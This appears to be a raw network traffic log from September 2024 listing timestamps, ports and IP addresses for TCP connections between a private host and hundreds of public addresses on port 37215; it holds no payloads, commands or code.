Sep 25, 2024 14:14:24.475030899 CEST	37215	41132	197.41.219.139	192.168.2.14
Sep 25, 2024 14:14:24.475032091 CEST	44664	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:24.475033045 CEST	34250	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:24.475033998 CEST	52972	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:24.475050926 CEST	52348	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:24.475055933 CEST	41132	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:24.475056887 CEST	37215	38284	41.251.54.51	192.168.2.14
Sep 25, 2024 14:14:24.475066900 CEST	37215	56792	41.108.113.130	192.168.2.14
Sep 25, 2024 14:14:24.475075960 CEST	37215	49682	41.230.144.206	192.168.2.14
Sep 25, 2024 14:14:24.475084066 CEST	37215	46250	156.107.216.86	192.168.2.14
Sep 25, 2024 14:14:24.475094080 CEST	37215	51778	156.197.93.125	192.168.2.14
Sep 25, 2024 14:14:24.475090981 CEST	38284	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:24.475095034 CEST	56792	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:24.475104094 CEST	37215	54318	156.9.49.199	192.168.2.14
Sep 25, 2024 14:14:24.475107908 CEST	49682	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:24.475111008 CEST	46250	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:24.475112915 CEST	37215	50724	41.10.145.181	192.168.2.14
Sep 25, 2024 14:14:24.475119114 CEST	51778	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:24.475122929 CEST	37215	33476	41.164.43.67	192.168.2.14
Sep 25, 2024 14:14:24.475131989 CEST	37215	54112	156.63.146.130	192.168.2.14
Sep 25, 2024 14:14:24.475132942 CEST	54318	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:24.475142002 CEST	37215	53134	156.140.88.204	192.168.2.14
Sep 25, 2024 14:14:24.475150108 CEST	33476	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:24.475152969 CEST	37215	52412	156.51.4.31	192.168.2.14
Sep 25, 2024 14:14:24.475158930 CEST	50724	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:24.475162983 CEST	37215	50236	156.1.92.175	192.168.2.14
Sep 25, 2024 14:14:24.475166082 CEST	53134	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:24.475172043 CEST	37215	46548	41.16.107.48	192.168.2.14
Sep 25, 2024 14:14:24.475179911 CEST	52412	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:24.475183964 CEST	37215	52912	197.219.131.173	192.168.2.14
Sep 25, 2024 14:14:24.475186110 CEST	50236	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:24.475192070 CEST	37215	41040	41.198.29.203	192.168.2.14
Sep 25, 2024 14:14:24.475194931 CEST	54112	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:24.475194931 CEST	46548	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:24.475205898 CEST	52912	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:24.475210905 CEST	37215	53422	197.244.192.231	192.168.2.14
Sep 25, 2024 14:14:24.475213051 CEST	41132	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:24.475219965 CEST	37215	35530	156.158.99.136	192.168.2.14
Sep 25, 2024 14:14:24.475223064 CEST	41040	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:24.475229979 CEST	37215	50606	197.23.115.188	192.168.2.14
Sep 25, 2024 14:14:24.475234985 CEST	52348	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:24.475239992 CEST	37215	40402	41.240.129.181	192.168.2.14
Sep 25, 2024 14:14:24.475248098 CEST	53422	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:24.475249052 CEST	37215	51600	197.157.8.210	192.168.2.14
Sep 25, 2024 14:14:24.475249052 CEST	35530	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:24.475255013 CEST	50606	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:24.475258112 CEST	37215	33702	41.8.124.140	192.168.2.14
Sep 25, 2024 14:14:24.475267887 CEST	37215	36564	197.61.96.1	192.168.2.14
Sep 25, 2024 14:14:24.475267887 CEST	40402	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:24.475280046 CEST	51600	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:24.475291014 CEST	36564	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:24.475310087 CEST	63353	37215	192.168.2.14	197.232.30.114
Sep 25, 2024 14:14:24.475330114 CEST	33702	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:24.475330114 CEST	63353	37215	192.168.2.14	156.31.128.84
Sep 25, 2024 14:14:24.475331068 CEST	63353	37215	192.168.2.14	156.188.255.235
Sep 25, 2024 14:14:24.475342035 CEST	63353	37215	192.168.2.14	156.103.4.128
Sep 25, 2024 14:14:24.475343943 CEST	63353	37215	192.168.2.14	41.218.193.174
Sep 25, 2024 14:14:24.475343943 CEST	63353	37215	192.168.2.14	156.180.118.136
Sep 25, 2024 14:14:24.475352049 CEST	63353	37215	192.168.2.14	197.138.129.194
Sep 25, 2024 14:14:24.475366116 CEST	63353	37215	192.168.2.14	156.74.183.182
Sep 25, 2024 14:14:24.475373030 CEST	63353	37215	192.168.2.14	41.32.71.209
Sep 25, 2024 14:14:24.475374937 CEST	63353	37215	192.168.2.14	41.87.151.254
Sep 25, 2024 14:14:24.475374937 CEST	63353	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:24.475392103 CEST	63353	37215	192.168.2.14	156.41.234.84
Sep 25, 2024 14:14:24.475394011 CEST	63353	37215	192.168.2.14	197.138.209.232
Sep 25, 2024 14:14:24.475402117 CEST	63353	37215	192.168.2.14	156.174.86.165
Sep 25, 2024 14:14:24.475402117 CEST	63353	37215	192.168.2.14	197.103.231.195
Sep 25, 2024 14:14:24.475411892 CEST	63353	37215	192.168.2.14	156.45.38.194
Sep 25, 2024 14:14:24.475419044 CEST	63353	37215	192.168.2.14	197.225.21.22
Sep 25, 2024 14:14:24.475430012 CEST	63353	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:24.475433111 CEST	63353	37215	192.168.2.14	197.89.121.177
Sep 25, 2024 14:14:24.475440979 CEST	63353	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:24.475452900 CEST	63353	37215	192.168.2.14	197.188.22.67
Sep 25, 2024 14:14:24.475455999 CEST	63353	37215	192.168.2.14	197.216.10.35
Sep 25, 2024 14:14:24.475467920 CEST	63353	37215	192.168.2.14	156.0.198.125
Sep 25, 2024 14:14:24.475474119 CEST	63353	37215	192.168.2.14	197.216.147.156
Sep 25, 2024 14:14:24.475485086 CEST	63353	37215	192.168.2.14	197.183.166.193
Sep 25, 2024 14:14:24.475488901 CEST	63353	37215	192.168.2.14	197.228.43.25
Sep 25, 2024 14:14:24.475501060 CEST	63353	37215	192.168.2.14	156.179.164.74
Sep 25, 2024 14:14:24.475514889 CEST	63353	37215	192.168.2.14	156.13.43.221
Sep 25, 2024 14:14:24.475517035 CEST	63353	37215	192.168.2.14	156.45.250.254
Sep 25, 2024 14:14:24.475523949 CEST	63353	37215	192.168.2.14	156.130.212.173
Sep 25, 2024 14:14:24.475528955 CEST	63353	37215	192.168.2.14	41.35.241.144
Sep 25, 2024 14:14:24.475538015 CEST	63353	37215	192.168.2.14	197.184.182.55
Sep 25, 2024 14:14:24.475552082 CEST	63353	37215	192.168.2.14	197.126.252.79
Sep 25, 2024 14:14:24.475555897 CEST	63353	37215	192.168.2.14	156.73.106.53
Sep 25, 2024 14:14:24.475558996 CEST	63353	37215	192.168.2.14	41.78.75.14
Sep 25, 2024 14:14:24.475574970 CEST	63353	37215	192.168.2.14	156.65.36.82
Sep 25, 2024 14:14:24.475590944 CEST	63353	37215	192.168.2.14	197.152.208.57
Sep 25, 2024 14:14:24.475591898 CEST	63353	37215	192.168.2.14	197.151.166.236
Sep 25, 2024 14:14:24.475591898 CEST	63353	37215	192.168.2.14	197.11.252.0
Sep 25, 2024 14:14:24.475605011 CEST	63353	37215	192.168.2.14	197.26.221.38
Sep 25, 2024 14:14:24.475609064 CEST	63353	37215	192.168.2.14	156.236.171.223
Sep 25, 2024 14:14:24.475616932 CEST	63353	37215	192.168.2.14	197.127.46.46
Sep 25, 2024 14:14:24.475620031 CEST	63353	37215	192.168.2.14	197.234.131.145
Sep 25, 2024 14:14:24.475631952 CEST	63353	37215	192.168.2.14	156.75.46.2
Sep 25, 2024 14:14:24.475635052 CEST	63353	37215	192.168.2.14	156.164.175.132
Sep 25, 2024 14:14:24.475651979 CEST	63353	37215	192.168.2.14	197.48.90.18
Sep 25, 2024 14:14:24.475656986 CEST	63353	37215	192.168.2.14	156.95.233.212
Sep 25, 2024 14:14:24.475663900 CEST	63353	37215	192.168.2.14	156.196.128.162
Sep 25, 2024 14:14:24.475663900 CEST	63353	37215	192.168.2.14	156.221.100.73
Sep 25, 2024 14:14:24.475663900 CEST	63353	37215	192.168.2.14	156.202.49.184
Sep 25, 2024 14:14:24.475668907 CEST	63353	37215	192.168.2.14	41.35.57.61
Sep 25, 2024 14:14:24.475682974 CEST	63353	37215	192.168.2.14	41.58.140.96
Sep 25, 2024 14:14:24.475683928 CEST	63353	37215	192.168.2.14	41.81.134.58
Sep 25, 2024 14:14:24.475689888 CEST	63353	37215	192.168.2.14	156.31.194.241
Sep 25, 2024 14:14:24.475697041 CEST	63353	37215	192.168.2.14	197.13.78.180
Sep 25, 2024 14:14:24.475708008 CEST	63353	37215	192.168.2.14	156.60.113.169
Sep 25, 2024 14:14:24.475714922 CEST	63353	37215	192.168.2.14	41.188.1.83
Sep 25, 2024 14:14:24.475718021 CEST	63353	37215	192.168.2.14	156.231.71.173
Sep 25, 2024 14:14:24.475734949 CEST	63353	37215	192.168.2.14	41.127.131.184
Sep 25, 2024 14:14:24.475737095 CEST	63353	37215	192.168.2.14	156.8.10.189
Sep 25, 2024 14:14:24.475738049 CEST	63353	37215	192.168.2.14	197.126.106.116
Sep 25, 2024 14:14:24.475750923 CEST	63353	37215	192.168.2.14	156.222.234.187
Sep 25, 2024 14:14:24.475753069 CEST	63353	37215	192.168.2.14	197.136.164.101
Sep 25, 2024 14:14:24.475764036 CEST	63353	37215	192.168.2.14	197.124.227.62
Sep 25, 2024 14:14:24.475770950 CEST	63353	37215	192.168.2.14	156.221.46.175
Sep 25, 2024 14:14:24.475781918 CEST	63353	37215	192.168.2.14	156.137.96.152
Sep 25, 2024 14:14:24.475786924 CEST	63353	37215	192.168.2.14	41.141.210.32
Sep 25, 2024 14:14:24.475790024 CEST	63353	37215	192.168.2.14	41.108.196.95
Sep 25, 2024 14:14:24.475790024 CEST	63353	37215	192.168.2.14	156.18.36.16
Sep 25, 2024 14:14:24.475796938 CEST	63353	37215	192.168.2.14	41.21.253.56
Sep 25, 2024 14:14:24.475805044 CEST	63353	37215	192.168.2.14	197.71.48.14
Sep 25, 2024 14:14:24.475810051 CEST	63353	37215	192.168.2.14	197.211.11.221
Sep 25, 2024 14:14:24.475815058 CEST	63353	37215	192.168.2.14	197.203.212.200
Sep 25, 2024 14:14:24.475821972 CEST	63353	37215	192.168.2.14	41.12.230.19
Sep 25, 2024 14:14:24.475831985 CEST	63353	37215	192.168.2.14	197.143.178.179
Sep 25, 2024 14:14:24.475836039 CEST	63353	37215	192.168.2.14	197.31.181.154
Sep 25, 2024 14:14:24.475847006 CEST	63353	37215	192.168.2.14	41.237.139.227
Sep 25, 2024 14:14:24.475850105 CEST	63353	37215	192.168.2.14	156.158.167.164
Sep 25, 2024 14:14:24.475857019 CEST	63353	37215	192.168.2.14	41.193.17.67
Sep 25, 2024 14:14:24.475867987 CEST	63353	37215	192.168.2.14	156.235.93.174
Sep 25, 2024 14:14:24.475871086 CEST	63353	37215	192.168.2.14	156.36.93.108
Sep 25, 2024 14:14:24.475882053 CEST	63353	37215	192.168.2.14	41.185.151.8
Sep 25, 2024 14:14:24.475892067 CEST	63353	37215	192.168.2.14	197.202.146.7
Sep 25, 2024 14:14:24.475899935 CEST	63353	37215	192.168.2.14	197.62.103.238
Sep 25, 2024 14:14:24.475902081 CEST	63353	37215	192.168.2.14	41.182.23.227
Sep 25, 2024 14:14:24.475904942 CEST	63353	37215	192.168.2.14	156.96.136.199
Sep 25, 2024 14:14:24.475913048 CEST	63353	37215	192.168.2.14	41.17.25.255
Sep 25, 2024 14:14:24.475913048 CEST	63353	37215	192.168.2.14	156.156.36.116
Sep 25, 2024 14:14:24.475915909 CEST	63353	37215	192.168.2.14	197.231.177.111
Sep 25, 2024 14:14:24.475924015 CEST	63353	37215	192.168.2.14	156.54.228.173
Sep 25, 2024 14:14:24.475929022 CEST	63353	37215	192.168.2.14	156.230.40.200
Sep 25, 2024 14:14:24.475936890 CEST	63353	37215	192.168.2.14	156.187.158.115
Sep 25, 2024 14:14:24.475948095 CEST	63353	37215	192.168.2.14	197.47.220.23
Sep 25, 2024 14:14:24.475951910 CEST	63353	37215	192.168.2.14	197.54.120.113
Sep 25, 2024 14:14:24.475967884 CEST	63353	37215	192.168.2.14	156.30.107.194
Sep 25, 2024 14:14:24.475981951 CEST	63353	37215	192.168.2.14	197.179.31.250
Sep 25, 2024 14:14:24.475986004 CEST	63353	37215	192.168.2.14	41.87.25.189
Sep 25, 2024 14:14:24.475999117 CEST	63353	37215	192.168.2.14	41.166.155.59
Sep 25, 2024 14:14:24.476001978 CEST	63353	37215	192.168.2.14	197.93.243.239
Sep 25, 2024 14:14:24.476001978 CEST	63353	37215	192.168.2.14	156.93.240.95
Sep 25, 2024 14:14:24.476006985 CEST	63353	37215	192.168.2.14	197.196.51.98
Sep 25, 2024 14:14:24.476016045 CEST	63353	37215	192.168.2.14	197.88.79.169
Sep 25, 2024 14:14:24.476027966 CEST	63353	37215	192.168.2.14	197.167.98.47
Sep 25, 2024 14:14:24.476035118 CEST	63353	37215	192.168.2.14	156.134.101.6
Sep 25, 2024 14:14:24.476035118 CEST	63353	37215	192.168.2.14	156.95.75.139
Sep 25, 2024 14:14:24.476039886 CEST	63353	37215	192.168.2.14	41.162.101.80
Sep 25, 2024 14:14:24.476043940 CEST	63353	37215	192.168.2.14	197.104.100.162
Sep 25, 2024 14:14:24.476047039 CEST	63353	37215	192.168.2.14	41.255.168.117
Sep 25, 2024 14:14:24.476058006 CEST	63353	37215	192.168.2.14	156.119.55.160
Sep 25, 2024 14:14:24.476062059 CEST	63353	37215	192.168.2.14	41.172.55.51
Sep 25, 2024 14:14:24.476070881 CEST	63353	37215	192.168.2.14	197.133.170.248
Sep 25, 2024 14:14:24.476075888 CEST	63353	37215	192.168.2.14	197.185.145.237
Sep 25, 2024 14:14:24.476089001 CEST	63353	37215	192.168.2.14	156.198.191.1
Sep 25, 2024 14:14:24.476103067 CEST	63353	37215	192.168.2.14	41.201.20.86
Sep 25, 2024 14:14:24.476109028 CEST	63353	37215	192.168.2.14	41.41.127.17
Sep 25, 2024 14:14:24.476109028 CEST	63353	37215	192.168.2.14	156.112.153.74
Sep 25, 2024 14:14:24.476114988 CEST	63353	37215	192.168.2.14	197.152.236.177
Sep 25, 2024 14:14:24.476125956 CEST	63353	37215	192.168.2.14	41.71.8.92
Sep 25, 2024 14:14:24.476125956 CEST	63353	37215	192.168.2.14	197.183.159.230
Sep 25, 2024 14:14:24.476128101 CEST	63353	37215	192.168.2.14	156.145.151.246
Sep 25, 2024 14:14:24.476136923 CEST	63353	37215	192.168.2.14	41.163.21.233
Sep 25, 2024 14:14:24.476141930 CEST	63353	37215	192.168.2.14	41.243.163.221
Sep 25, 2024 14:14:24.476155996 CEST	63353	37215	192.168.2.14	156.7.109.100
Sep 25, 2024 14:14:24.476162910 CEST	63353	37215	192.168.2.14	41.226.173.174
Sep 25, 2024 14:14:24.476167917 CEST	63353	37215	192.168.2.14	156.113.230.95
Sep 25, 2024 14:14:24.476167917 CEST	63353	37215	192.168.2.14	197.143.125.115
Sep 25, 2024 14:14:24.476182938 CEST	63353	37215	192.168.2.14	197.69.252.146
Sep 25, 2024 14:14:24.476192951 CEST	63353	37215	192.168.2.14	41.39.27.183
Sep 25, 2024 14:14:24.476202965 CEST	63353	37215	192.168.2.14	156.148.242.122
Sep 25, 2024 14:14:24.476202965 CEST	63353	37215	192.168.2.14	156.54.89.141
Sep 25, 2024 14:14:24.476212025 CEST	63353	37215	192.168.2.14	41.58.50.170
Sep 25, 2024 14:14:24.476213932 CEST	63353	37215	192.168.2.14	156.235.161.134
Sep 25, 2024 14:14:24.476213932 CEST	63353	37215	192.168.2.14	156.112.10.133
Sep 25, 2024 14:14:24.476221085 CEST	63353	37215	192.168.2.14	41.4.26.137
Sep 25, 2024 14:14:24.476237059 CEST	63353	37215	192.168.2.14	41.249.130.61
Sep 25, 2024 14:14:24.476242065 CEST	63353	37215	192.168.2.14	41.153.61.119
Sep 25, 2024 14:14:24.476253033 CEST	63353	37215	192.168.2.14	197.213.95.149
Sep 25, 2024 14:14:24.476258039 CEST	63353	37215	192.168.2.14	156.153.64.41
Sep 25, 2024 14:14:24.476258039 CEST	63353	37215	192.168.2.14	41.230.138.60
Sep 25, 2024 14:14:24.476258039 CEST	63353	37215	192.168.2.14	197.20.247.106
Sep 25, 2024 14:14:24.476258039 CEST	63353	37215	192.168.2.14	41.209.10.167
Sep 25, 2024 14:14:24.476265907 CEST	63353	37215	192.168.2.14	156.230.167.2
Sep 25, 2024 14:14:24.476277113 CEST	63353	37215	192.168.2.14	41.23.70.100
Sep 25, 2024 14:14:24.476280928 CEST	63353	37215	192.168.2.14	156.53.67.81
Sep 25, 2024 14:14:24.476290941 CEST	63353	37215	192.168.2.14	41.50.65.32
Sep 25, 2024 14:14:24.476295948 CEST	63353	37215	192.168.2.14	41.66.157.35
Sep 25, 2024 14:14:24.476301908 CEST	63353	37215	192.168.2.14	41.114.115.88
Sep 25, 2024 14:14:24.476315022 CEST	63353	37215	192.168.2.14	41.47.220.58
Sep 25, 2024 14:14:24.476317883 CEST	63353	37215	192.168.2.14	197.110.61.217
Sep 25, 2024 14:14:24.476329088 CEST	63353	37215	192.168.2.14	41.105.46.50
Sep 25, 2024 14:14:24.476367950 CEST	63353	37215	192.168.2.14	156.224.217.223
Sep 25, 2024 14:14:24.476371050 CEST	63353	37215	192.168.2.14	197.233.92.115
Sep 25, 2024 14:14:24.476382017 CEST	63353	37215	192.168.2.14	41.189.162.63
Sep 25, 2024 14:14:24.476396084 CEST	63353	37215	192.168.2.14	41.12.217.17
Sep 25, 2024 14:14:24.476396084 CEST	63353	37215	192.168.2.14	41.57.96.160
Sep 25, 2024 14:14:24.476406097 CEST	63353	37215	192.168.2.14	156.39.5.38
Sep 25, 2024 14:14:24.476408958 CEST	63353	37215	192.168.2.14	197.144.35.19
Sep 25, 2024 14:14:24.476417065 CEST	63353	37215	192.168.2.14	197.64.255.36
Sep 25, 2024 14:14:24.476421118 CEST	63353	37215	192.168.2.14	197.202.20.245
Sep 25, 2024 14:14:24.476423979 CEST	63353	37215	192.168.2.14	41.80.122.186
Sep 25, 2024 14:14:24.476603985 CEST	34250	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:24.476613045 CEST	34250	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:24.476893902 CEST	34392	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:24.477174044 CEST	49682	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:24.477181911 CEST	56792	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:24.477196932 CEST	51778	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:24.477199078 CEST	50724	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:24.477205992 CEST	50606	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:24.477217913 CEST	51600	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:24.477227926 CEST	54318	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:24.477248907 CEST	44664	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:24.477248907 CEST	44664	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:24.477446079 CEST	44802	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:24.477664948 CEST	36564	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:24.477679014 CEST	44158	37215	192.168.2.14	156.238.211.38
Sep 25, 2024 14:14:24.477694035 CEST	44158	37215	192.168.2.14	156.238.211.38
Sep 25, 2024 14:14:24.478219986 CEST	44294	37215	192.168.2.14	156.238.211.38
Sep 25, 2024 14:14:24.478468895 CEST	50064	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:24.478476048 CEST	50064	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:24.478660107 CEST	50200	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:24.478888988 CEST	41040	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:24.478889942 CEST	40402	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:24.478916883 CEST	52972	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:24.478916883 CEST	52972	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:24.479098082 CEST	53108	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:24.479332924 CEST	39572	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:24.479332924 CEST	39572	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:24.479512930 CEST	39708	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:24.479870081 CEST	53422	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:24.479870081 CEST	53422	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:24.480175972 CEST	53788	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:24.480639935 CEST	46250	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:24.480652094 CEST	46250	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:24.481060982 CEST	46408	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:24.481221914 CEST	37215	63353	197.232.30.114	192.168.2.14
Sep 25, 2024 14:14:24.481230974 CEST	37215	63353	156.188.255.235	192.168.2.14
Sep 25, 2024 14:14:24.481235981 CEST	37215	63353	156.31.128.84	192.168.2.14
Sep 25, 2024 14:14:24.481245041 CEST	37215	63353	156.103.4.128	192.168.2.14
Sep 25, 2024 14:14:24.481254101 CEST	37215	63353	41.218.193.174	192.168.2.14
Sep 25, 2024 14:14:24.481261969 CEST	37215	63353	156.180.118.136	192.168.2.14
Sep 25, 2024 14:14:24.481272936 CEST	37215	63353	197.138.129.194	192.168.2.14
Sep 25, 2024 14:14:24.481276035 CEST	63353	37215	192.168.2.14	197.232.30.114
Sep 25, 2024 14:14:24.481283903 CEST	63353	37215	192.168.2.14	156.188.255.235
Sep 25, 2024 14:14:24.481285095 CEST	37215	63353	156.74.183.182	192.168.2.14
Sep 25, 2024 14:14:24.481287003 CEST	63353	37215	192.168.2.14	156.31.128.84
Sep 25, 2024 14:14:24.481292963 CEST	63353	37215	192.168.2.14	156.103.4.128
Sep 25, 2024 14:14:24.481296062 CEST	37215	63353	41.87.151.254	192.168.2.14
Sep 25, 2024 14:14:24.481297970 CEST	63353	37215	192.168.2.14	41.218.193.174
Sep 25, 2024 14:14:24.481307030 CEST	37215	63353	41.32.71.209	192.168.2.14
Sep 25, 2024 14:14:24.481317043 CEST	37215	63353	41.205.212.169	192.168.2.14
Sep 25, 2024 14:14:24.481326103 CEST	37215	63353	197.138.209.232	192.168.2.14
Sep 25, 2024 14:14:24.481334925 CEST	37215	63353	156.41.234.84	192.168.2.14
Sep 25, 2024 14:14:24.481343985 CEST	37215	63353	156.174.86.165	192.168.2.14
Sep 25, 2024 14:14:24.481363058 CEST	37215	63353	197.103.231.195	192.168.2.14
Sep 25, 2024 14:14:24.481372118 CEST	37215	63353	156.45.38.194	192.168.2.14
Sep 25, 2024 14:14:24.481380939 CEST	37215	63353	197.225.21.22	192.168.2.14
Sep 25, 2024 14:14:24.481389999 CEST	37215	63353	197.89.121.177	192.168.2.14
Sep 25, 2024 14:14:24.481395006 CEST	63353	37215	192.168.2.14	156.74.183.182
Sep 25, 2024 14:14:24.481395960 CEST	63353	37215	192.168.2.14	41.87.151.254
Sep 25, 2024 14:14:24.481396914 CEST	63353	37215	192.168.2.14	197.138.209.232
Sep 25, 2024 14:14:24.481396914 CEST	63353	37215	192.168.2.14	41.32.71.209
Sep 25, 2024 14:14:24.481399059 CEST	63353	37215	192.168.2.14	197.138.129.194
Sep 25, 2024 14:14:24.481400013 CEST	37215	63353	41.13.242.126	192.168.2.14
Sep 25, 2024 14:14:24.481409073 CEST	37215	63353	156.239.3.244	192.168.2.14
Sep 25, 2024 14:14:24.481411934 CEST	63353	37215	192.168.2.14	197.225.21.22
Sep 25, 2024 14:14:24.481412888 CEST	63353	37215	192.168.2.14	156.174.86.165
Sep 25, 2024 14:14:24.481412888 CEST	63353	37215	192.168.2.14	41.205.212.169
Sep 25, 2024 14:14:24.481412888 CEST	63353	37215	192.168.2.14	197.103.231.195
Sep 25, 2024 14:14:24.481415033 CEST	63353	37215	192.168.2.14	156.41.234.84
Sep 25, 2024 14:14:24.481416941 CEST	63353	37215	192.168.2.14	156.45.38.194
Sep 25, 2024 14:14:24.481424093 CEST	63353	37215	192.168.2.14	156.180.118.136
Sep 25, 2024 14:14:24.481424093 CEST	63353	37215	192.168.2.14	197.89.121.177
Sep 25, 2024 14:14:24.481431961 CEST	63353	37215	192.168.2.14	41.13.242.126
Sep 25, 2024 14:14:24.481440067 CEST	63353	37215	192.168.2.14	156.239.3.244
Sep 25, 2024 14:14:24.481626034 CEST	50236	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:24.481647015 CEST	50236	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:24.481760025 CEST	37215	52348	197.42.40.6	192.168.2.14
Sep 25, 2024 14:14:24.481848955 CEST	52348	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:24.482004881 CEST	37215	34250	41.185.217.106	192.168.2.14
Sep 25, 2024 14:14:24.482058048 CEST	50602	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:24.482117891 CEST	37215	41132	197.41.219.139	192.168.2.14
Sep 25, 2024 14:14:24.482165098 CEST	41132	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:24.482426882 CEST	53134	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:24.482426882 CEST	53134	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:24.482729912 CEST	53500	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:24.482811928 CEST	37215	44664	41.113.152.50	192.168.2.14
Sep 25, 2024 14:14:24.483000994 CEST	37215	49682	41.230.144.206	192.168.2.14
Sep 25, 2024 14:14:24.483123064 CEST	52412	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:24.483134031 CEST	52412	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:24.483138084 CEST	49682	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:24.483223915 CEST	37215	56792	41.108.113.130	192.168.2.14
Sep 25, 2024 14:14:24.483258963 CEST	56792	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:24.483340979 CEST	37215	51778	156.197.93.125	192.168.2.14
Sep 25, 2024 14:14:24.483350039 CEST	37215	54318	156.9.49.199	192.168.2.14
Sep 25, 2024 14:14:24.483352900 CEST	37215	44158	156.238.211.38	192.168.2.14
Sep 25, 2024 14:14:24.483356953 CEST	37215	50724	41.10.145.181	192.168.2.14
Sep 25, 2024 14:14:24.483395100 CEST	54318	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:24.483397007 CEST	50724	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:24.483402014 CEST	51778	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:24.483637094 CEST	52778	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:24.484044075 CEST	37215	50064	156.17.146.209	192.168.2.14
Sep 25, 2024 14:14:24.484097004 CEST	35530	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:24.484224081 CEST	35530	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:24.484379053 CEST	35896	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:24.484524012 CEST	37215	52972	197.27.230.23	192.168.2.14
Sep 25, 2024 14:14:24.484741926 CEST	37215	41040	41.198.29.203	192.168.2.14
Sep 25, 2024 14:14:24.484781027 CEST	46548	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:24.484782934 CEST	41040	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:24.484847069 CEST	46548	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:24.485002041 CEST	37215	50606	197.23.115.188	192.168.2.14
Sep 25, 2024 14:14:24.485027075 CEST	37215	39572	41.201.186.158	192.168.2.14
Sep 25, 2024 14:14:24.485035896 CEST	50606	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:24.485066891 CEST	46914	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:24.485397100 CEST	37215	40402	41.240.129.181	192.168.2.14
